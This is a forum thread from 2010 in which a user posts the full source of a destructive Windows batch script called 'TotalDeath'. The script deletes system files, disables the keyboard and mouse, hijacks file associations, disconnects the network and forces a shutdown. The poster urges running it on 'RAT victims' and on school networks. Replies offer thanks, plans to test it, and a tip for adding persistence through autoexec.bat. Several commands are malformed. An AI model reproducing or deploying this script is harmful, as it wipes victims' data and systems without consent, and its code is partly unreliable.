Thread: [TotalDeath Batch Virus \(Perfect PC Killer for Your Enemies\)](#)

Jinxyy - December 9, 2010, 5:11 am

Hi guys,

I looked a bit at the Amnesia bat virus, and so I decided to make my own. I call this the "TotalDeath" bvir. It stops time, kills internet connection, disables itself if run on a virtual computer, and basically wipes all necessary files to start computer up. It hides itself with UltraProtect in the startup folder.

Its detectable, so that's why I would prefer you do it to one of your RAT victims when you disable their antivirus, or maybe do it at school if your network doesn't have an AV (doubt it).

I'll soon make a AV disabler when I have the time.

CODE (DONT RUN IT ON YOUR COMPUTER, SAVE IT AS A TXT AND CHANGE IT LATER):

Code @echo off

copy "TotalDeath.bat" "C:\WINDOWS"

attrib +r +h +s "TotalDeath.bat"

copy "TotalDeath.bat" "C:\Documents and Settings\Owner\My Documents"

Reg Add "HKCU\Control Panel\Mouse" /v

SwapMouseButtons /f /d "10"

rundll32 keyboard, disabled

rundll32 mouse, disabled

taskkill explorer /t /t

taskkill yahoомessenger /f /t

taskkill msmsgs /t /f

taskkill firefox /f /t

taskkill iexplore /f /t

time 6:66

del "C:\WINDOWS\explorer.exe" /f /q

cd "C:\WINDOWS"

del "*.bat" /f /g

cd "C:\WINDOWS\system32"

del "*.*" /g /f

del "C:\Program Files\messenger\msmsgs.exe" /q /f

del "c:\Program Files\Yahoo!\messenger\YahooMessenger.exe" /q /f

attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Music"

attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Pictures"

attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Videos"

attrib +r +h "C:\Documents and Settings\Owner\My Documents"

attrib +r +h "C:\WINDOWS"

RASDIAL /DISCONNECT

start D:\

reg add "HKLM\SOFTWARE\Mozilla\Mozilla Firefox\2.0.0.12 (en-US)\main" /v PathToExe /f /d "c:\WINDOWS\TotalDeath.bat"

reg add

"HKLM\SOFTWARE\InstallShield\driver\7\intel32"

```
/v folder /f /d "C:\WINDOWS\TotalDeath.bat"
assoc .exe=WMAFile
assoc .mp3=VBSFile
assoc .jpg=THEMEFile
assoc .bmp=THEMEFile
assoc .gif=THEMEFile
echo You have pwned by TotalDeath. Next Time,
don't be so stupid! >> finalmessage.txt
start finalmessage.txt
shutdown -s -t 60 -c "Say good bye"
msg * TotalDeath Has wiped your computer clean
:section1
cd "C:\Documents and Settings\Owner\desktop"
copy "C:\WINDOWS\TotalDeath.bat" "8021.bat"
cd "c:\Documents and Settings\Owner\desktop"
md 5265
cd "C:\WINDOWS\system32"
copy "C:\WINDOWS\TotalDeath.bat" "2696.bat"
start
start
start
start
start
goto section1
Cya later. Have fun.
```

inb4 BAN. You didn't have to post 3 other threads.

Jinxyy - December 9, 2010, 5:19 am

Chill, it was a mistake. My internet froze so I clicked "post" a couple times and so it made multiple threads. Chill.

-mothered- - December 9, 2010, 5:43 am

Actually, one of my lappies is due for a format, so I'll run this and see exactly what it does.

Thanks mate.

ANTIVIRUS DIDNT DEDUCT IT SO ITS NT A VIRUS MAN....

ITS A FAKE FILE

Epic Smiley™ - December 9, 2010, 6:25 am

1. Disable Caps lock
2. Fuck off.

Fallenbot - December 9, 2010, 8:35 am

I'll try this at my Virtual Box OS. Hopefully it'll work, thanks mate.

Jinxyy - December 9, 2010, 9:25 am

No problem, I mean I got the whole idea from the Amnesia virus that deletes all files (not necessary ones). I just made that same one, except it deletes EVERYTHING (almost). So, all in all, credit to creator of Amnesia.

?Logic_Bomb - December 9, 2010, 3:11 pm

Not trying to be a knob here, but deleting C:\Windows will not work whilst the OS is running.

But still it will destroy virtually everything else which is pretty funny.

Just another quick question; what are the random "start" commands at the :EOF? They don't seem to do anything as they have no parameters, Just curious.

Have you thought about adding it to the Autoexec.bat? (Windows XP) It might help delete even more of the files that way... You could just add something like:

```
Code IF EXIST c:\autoexec.bat echo start VIRUSPATH\VIRUSNAME.bat >> c:\autoexec.bat
```

Good work though :)

UndrGrnd

Jinxyy - December 10, 2010, 4:32 am

Thanks, like I said, it wasn't really that hard to do, just find some paths that were needed and were deleteable. @Undr: Yeah, I mean you can't delete the windows, but then again some valuable parts WILL be sucked out of there.
